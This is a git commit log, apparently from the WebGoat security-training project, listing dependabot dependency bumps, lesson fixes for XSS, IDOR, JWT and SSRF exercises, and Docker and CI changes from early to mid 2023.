d8341c86a1 bug: fix hint that was breaking the template, causing hints from different assignments to mix (#1424) 2023-08-27 02:08:52 +02:00
Àngel Ollé Blázquez
055578893d feat: improve MFAC lesson hint texts for a better user experience (#1424) 2023-08-27 02:08:52 +02:00
dependabot[bot]
b89ebd70ad chore: bump webdrivermanager from 5.3.2 to 5.3.3
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.2 to 5.3.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.2...webdrivermanager-5.3.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-27 00:34:41 +02:00
Àngel Ollé Blázquez
7b81247dd1 fix: HijackSession lesson template deprecated Tymeleaf attribute 2023-08-26 02:57:50 +02:00
Àngel Ollé Blázquez
3bc2e57c9c Fix NPE in IDOR lesson 2023-08-26 02:22:33 +02:00
Àngel Ollé Blázquez
c3ec168d59 Add new assignment IT tests 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
a67fbf5a5a fix: XSS mitigation 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
3365c8d447 Remove wrong files 2023-08-25 22:50:40 +02:00
Àngel Ollé Blázquez
368c046779 fix: Stored Cross-Site Scripting Lesson 2023-08-25 20:55:26 +02:00
dependabot[bot]
8749137d1e chore: bump org.webjars:jquery from 3.6.4 to 3.7.0
Bumps [org.webjars:jquery](https://github.com/webjars/jquery) from 3.6.4 to 3.7.0.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.6.4...jquery-3.7.0)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-25 00:31:04 +02:00
Àngel Ollé Blázquez
786cabd251 Make webjar dependencies version agnostic 2023-08-24 16:43:28 +02:00
dependabot[bot]
dda8b10f55 chore: bump org.jruby:jruby from 9.4.2.0 to 9.4.3.0
Bumps org.jruby:jruby from 9.4.2.0 to 9.4.3.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-19 00:20:59 +02:00
dependabot[bot]
d6ca083529 chore: bump commons-io:commons-io from 2.11.0 to 2.13.0
Bumps commons-io:commons-io from 2.11.0 to 2.13.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-18 16:15:17 +02:00
test2user-aqil
7c92d625dd doc: fix version strings
Replace `2023.3` with `2023.4`
2023-08-16 15:59:23 +02:00
Àngel Ollé Blázquez
4ba818533c fix: WebWolf JWT jquery webjar 2023-08-09 01:32:03 +02:00
Nanne Baars
a9b1fd66b8
feat: implement JWT jku example (#1552)
Closes #1539
2023-08-08 17:18:22 +02:00
dependabot[bot]
8f6e47e6d4
chore: bump com.nulab-inc:zxcvbn from 1.7.0 to 1.8.0 (#1542)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.7.0...1.8.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-08-04 16:34:49 +02:00
dependabot[bot]
61de52840f
chore: bump com.diffplug.spotless:spotless-maven-plugin from 2.33.0 to 2.38.0 (#1535)
* chore: bump com.diffplug.spotless:spotless-maven-plugin

Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.33.0 to 2.38.0.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.33.0...lib/2.38.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* chore: format code

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Nanne Baars <nanne.baars@owasp.org>
2023-07-30 15:10:31 +02:00
dependabot[bot]
fd3eb2451c
chore: bump guava from 31.1-jre to 32.1.1-jre (#1530)
Bumps [guava](https://github.com/google/guava) from 31.1-jre to 32.1.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-29 12:35:06 +02:00
dependabot[bot]
32fa1ec0a6
chore: bump jquery from 3.5.1 to 3.6.4 (#1529)
Bumps [jquery](https://github.com/webjars/jquery) from 3.5.1 to 3.6.4.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.5.1...jquery-3.6.4)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-07-27 13:04:46 +02:00
Àngel Ollé Blázquez
ad00119b0d Add Assignment7 Tests 2023-07-18 00:38:23 +02:00
Àngel Ollé Blázquez
25f49537e7 bug: Fix IDOR lesson 2023-07-16 17:14:27 +02:00
dependabot[bot]
8cb735e623 chore: bump joonvena/robotframework-reporter-action from 2.1 to 2.2
Bumps [joonvena/robotframework-reporter-action](https://github.com/joonvena/robotframework-reporter-action) from 2.1 to 2.2.
- [Release notes](https://github.com/joonvena/robotframework-reporter-action/releases)
- [Commits](https://github.com/joonvena/robotframework-reporter-action/compare/v2.1...v2.2)

---
updated-dependencies:
- dependency-name: joonvena/robotframework-reporter-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 16:01:06 +02:00
dependabot[bot]
155a40aab4 chore: bump docker/build-push-action from 4.1.0 to 4.1.1
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.0 to 4.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.0...v4.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:55:22 +02:00
dependabot[bot]
6c4ddbbaad chore: bump maven-surefire-plugin from 3.1.0 to 3.1.2
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.0 to 3.1.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.0...surefire-3.1.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:41:25 +02:00
dependabot[bot]
d704f69879
chore: bump commons-compress from 1.22 to 1.23.0 (#1514)
Bumps commons-compress from 1.22 to 1.23.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-15 09:28:40 +02:00
dependabot[bot]
3b2b613aa5
chore: bump asciidoctorj from 2.5.3 to 2.5.10 (#1498)
Bumps [asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.3 to 2.5.10.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.10/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.3...v2.5.10)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-18 20:21:53 +02:00
Nanne Baars
934ba3e496
fix: remove steps from release script (#1509)
Closes gh-1383
2023-06-18 20:13:38 +02:00
Àngel Ollé Blázquez
8ec718c1ef format 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
1df7ca61a3 Text content improvement 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
75398feca0 Add hints 2023-06-15 19:26:33 +02:00
dependabot[bot]
76a2365abf
chore: bump docker/setup-qemu-action from 2.1.0 to 2.2.0 (#1503)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-14 10:31:00 +02:00
dependabot[bot]
015216df5f
chore: bump docker/login-action from 2.1.0 to 2.2.0 (#1502)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 17:06:35 +02:00
dependabot[bot]
60fc807d36
chore: bump docker/build-push-action from 4.0.0 to 4.1.0 (#1501)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.0.0 to 4.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.0.0...v4.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 10:50:53 +02:00
Nanne Baars
636a2bdaf5
fix: robotframework fails due to updated dependencies (#1508) 2023-06-13 10:00:50 +02:00
dependabot[bot]
816a694c84
chore: bump maven-surefire-plugin from 3.0.0-M9 to 3.1.0 (#1499)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M9 to 3.1.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M9...surefire-3.1.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 21:31:54 +02:00
dependabot[bot]
06a55ab278
chore: bump maven-checkstyle-plugin from 3.2.1 to 3.3.0 (#1496)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.2.1 to 3.3.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.2.1...maven-checkstyle-plugin-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 09:41:13 +02:00
dependabot[bot]
0136c1070f
chore: bump spring-boot-starter-parent from 3.0.5 to 3.1.0 (#1497)
Bumps [spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-06 16:21:11 +02:00
Nanne Baars
dce5eeb797 bug: fix Java image inside Docker file
The image now downloads the correct Java version based on the architecture.
2023-06-04 14:56:46 +02:00
Nanne Baars
ca886b4818
feat: upgrade to Spring Boot version 3 (#1477) 2023-06-04 11:19:47 +02:00
dependabot[bot]
ff3a2983e2
chore: bump zxcvbn from 1.5.2 to 1.7.0 (#1471)
Bumps [zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.5.2 to 1.7.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.5.2...1.7.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:21:17 +02:00
dependabot[bot]
6f0b88f9b6
chore: bump cglib-nodep from 2.2 to 3.3.0 (#1470)
Bumps [cglib-nodep](https://github.com/cglib/cglib) from 2.2 to 3.3.0.
- [Release notes](https://github.com/cglib/cglib/releases)
- [Commits](https://github.com/cglib/cglib/commits)

---
updated-dependencies:
- dependency-name: cglib:cglib-nodep
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:06:55 +02:00
dependabot[bot]
9d9fb092be
chore: bump maven-enforcer-plugin from 3.2.1 to 3.3.0 (#1468)
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.2.1...enforcer-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 09:01:54 +02:00
dependabot[bot]
4bc53a6666
chore: bump maven-checkstyle-plugin from 3.1.2 to 3.2.1 (#1472)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-checkstyle-plugin/releases)
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.1.2...maven-checkstyle-plugin-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 08:54:21 +02:00
dependabot[bot]
61d5fb9ece
chore: bump jsoup from 1.15.4 to 1.16.1 (#1484)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.15.4 to 1.16.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.15.4...jsoup-1.16.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-02 08:43:43 +02:00
dependabot[bot]
6eafa45e4c chore: bump jacoco-maven-plugin from 0.8.8 to 0.8.10
Bumps [jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.8 to 0.8.10.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.8...v0.8.10)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-05-01 23:48:16 +02:00
caputdraconis
ac6de9d788 Fix typo of HijackSession_content0.adoc 2023-04-17 09:04:15 +02:00
dependabot[bot]
f6855bf6a5
chore: bump guava from 30.1-jre to 31.1-jre (#1448)
Bumps [guava](https://github.com/google/guava) from 30.1-jre to 31.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:22 +02:00
dependabot[bot]
f7b4af5023
chore: bump bootstrap from 3.3.7 to 5.2.3 (#1441)
Bumps [bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.2.3.
- [Release notes](https://github.com/webjars/bootstrap/releases)
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.2.3)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:08 +02:00
dependabot[bot]
e720eec5f9
chore: bump jruby from 9.3.6.0 to 9.4.2.0 (#1454)
Bumps jruby from 9.3.6.0 to 9.4.2.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:51 +02:00
dependabot[bot]
a43a6125e8
chore: bump actions/cache from 3.2.6 to 3.3.1 (#1453)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.6 to 3.3.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.6...v3.3.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:05 +02:00
dependabot[bot]
d3e2164716
chore: bump asm from 9.1 to 9.5 (#1460)
Bumps asm from 9.1 to 9.5.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:53:50 +02:00
Loris Sierra
cbf2e153d9 Restrict SSRF Regexes 2023-03-08 23:22:38 +01:00
dependabot[bot]
0795ff0fc5 chore: bump commons-io from 2.6 to 2.11.0
Bumps commons-io from 2.6 to 2.11.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:19 +01:00
dependabot[bot]
d7cdfeec2a chore: bump webdrivermanager from 4.3.1 to 5.3.2
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 4.3.1 to 5.3.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-4.3.1...webdrivermanager-5.3.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:08 +01:00
dependabot[bot]
491fe2d84d chore: bump maven-enforcer-plugin from 3.0.0 to 3.2.1
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.0.0 to 3.2.1.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.0.0...enforcer-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:08:28 +01:00
dependabot[bot]
a509e8e24e chore: bump commons-text from 1.9 to 1.10.0
Bumps commons-text from 1.9 to 1.10.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:07:37 +01:00
Nanne Baars
e50986a098
fix: challenge 7 (#1433) 2023-02-22 22:55:48 +01:00
Àngel Ollé Blázquez
61dac201f0 Add coverage profile 2023-02-22 14:51:55 +01:00
dependabot[bot]
c5629be618
chore: bump spotless-maven-plugin from 2.29.0 to 2.33.0 (#1426)
Bumps [spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.29.0 to 2.33.0.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.29.0...lib/2.33.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:24 +01:00
dependabot[bot]
df8c83fe74
chore: bump eclipse-temurin from 17-jre-focal to 19-jre-focal (#1427)
Bumps eclipse-temurin from 17-jre-focal to 19-jre-focal.

---
updated-dependencies:
- dependency-name: eclipse-temurin
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:07 +01:00
dependabot[bot]
6d3813c2ce
chore: bump commons-compress from 1.21 to 1.22 (#1428)
Bumps commons-compress from 1.21 to 1.22.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:52 +01:00
dependabot[bot]
ecfa0197af
chore: bump maven-surefire-plugin from 3.0.0-M5 to 3.0.0-M9 (#1429)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M5 to 3.0.0-M9.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M5...surefire-3.0.0-M9)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:36 +01:00
dependabot[bot]
8467ae8a0b
chore: bump jsoup from 1.14.3 to 1.15.4 (#1430)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.14.3 to 1.15.4.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.14.3...jsoup-1.15.4)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:20 +01:00
dependabot[bot]
5243fa2bf2
chore: bump jose4j from 0.7.6 to 0.9.3 (#1431)
Bumps [jose4j](https://bitbucket.org/b_c/jose4j) from 0.7.6 to 0.9.3.
- [Commits](https://bitbucket.org/b_c/jose4j/branches/compare/jose4j-0.9.3..jose4j-0.7.6)

---
updated-dependencies:
- dependency-name: org.bitbucket.b_c:jose4j
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:01 +01:00
dependabot[bot]
36f99dede8 Bump actions/cache from 3.2.5 to 3.2.6
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.5 to 3.2.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.5...v3.2.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-22 13:34:10 +01:00
Nanne Baars
5dbe2eaf19 refactor: update challenge code
- Flags are now wired through a Spring config
- Introduced Flag class
- Removed Flags from the FlagController
2023-02-22 11:01:34 +01:00
Nanne Baars
1b49b2fd3b chore: format markdown file 2023-02-22 11:01:34 +01:00
Nanne Baars
b49c61636b ci: add maven and docker to dependabot configuration 2023-02-22 11:01:34 +01:00
Nanne Baars
8269207d6b docs: add documentation we start using Conventional Commits.
Fixes #1022
2023-02-22 11:01:34 +01:00
Nanne Baars
de2f568229 chore: back to snapshot version after release 2023-02-22 11:01:34 +01:00
Nanne Baars
9f6cf39ff2 ci: add distribution in snapshot job 2023-02-22 11:01:34 +01:00
Nanne Baars
19d54dbe95 chore: release version 2023.4 2023-02-22 11:01:34 +01:00
Nanne Baars
0f38519ecf ci: add step for pushing Docker desktop image 2023-02-17 12:56:43 +01:00
Nanne Baars
4c95c9ec6a ci: add step to build and verify Docker image 2023-02-17 12:56:43 +01:00
Nanne Baars
f6c7a54931 docs: add screenshot to README and add Docker WebGoat desktop text 2023-02-17 12:56:43 +01:00
Nanne Baars
f1012c85d6 feat: add Docker desktop version of WebGoat with all tools installed
The new Docker image uses linuxserver/webtop giving users the opportunity
to run a Linux desktop in their browser without installing any tools
on their local machine.
2023-02-17 12:56:43 +01:00
Nanne Baars
ecfc321f14 feature: Add extra feedback once someone solves JWT refresh lesson differently
One can solve this lesson by using `alg:none` instead of using the refresh token flow. Instead of adding a check to force using the refresh token we opt for giving the user extra feedback.
2023-02-16 20:32:27 +00:00
Nanne Baars
73b8c431fc chore: use constructor instead of field dependency injection 2023-02-16 20:32:27 +00:00
dependabot[bot]
b68adfbc7c Bump devops-infra/action-pull-request from 0.5.3 to 0.5.5
Bumps [devops-infra/action-pull-request](https://github.com/devops-infra/action-pull-request) from 0.5.3 to 0.5.5.
- [Release notes](https://github.com/devops-infra/action-pull-request/releases)
- [Commits](https://github.com/devops-infra/action-pull-request/compare/v0.5.3...v0.5.5)

---
updated-dependencies:
- dependency-name: devops-infra/action-pull-request
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-16 14:09:05 +00:00
Nanne Baars
1a2855afcd chore: set directories explicitly when running IT tests 2023-02-16 12:24:02 +00:00
Nanne Baars
693771220c fix: change url in JavaScript for JWT endpoint
The JavaScript pointed to the context root /WebWolf/ which is no longer in use.
2023-02-16 12:24:02 +00:00
Àngel Ollé Blázquez
075b1ab30a Fix WebWolf JWT tool 2023-02-15 22:40:24 +00:00
Nanne Baars
390ff39f19 chore: format src/test/it as well 2023-02-15 19:01:06 +00:00
Nanne Baars
3ec34b0df5 fix: challenge test fails sometimes when calling scoreboard endpoint 2023-02-15 19:01:06 +00:00
Nanne Baars
eb4c8388f8 Update Dockerfile 2023-02-15 12:11:12 +00:00
Àngel Ollé Blázquez
ae081ce319 Add fileserver location (test) 2023-02-15 12:00:54 +00:00
Nanne Baars
bd398e4c09 #1396 Fix templates path for views 2023-02-15 11:58:49 +00:00
dependabot[bot]
c9d1653d4f Bump docker/build-push-action from 3.2.0 to 4.0.0
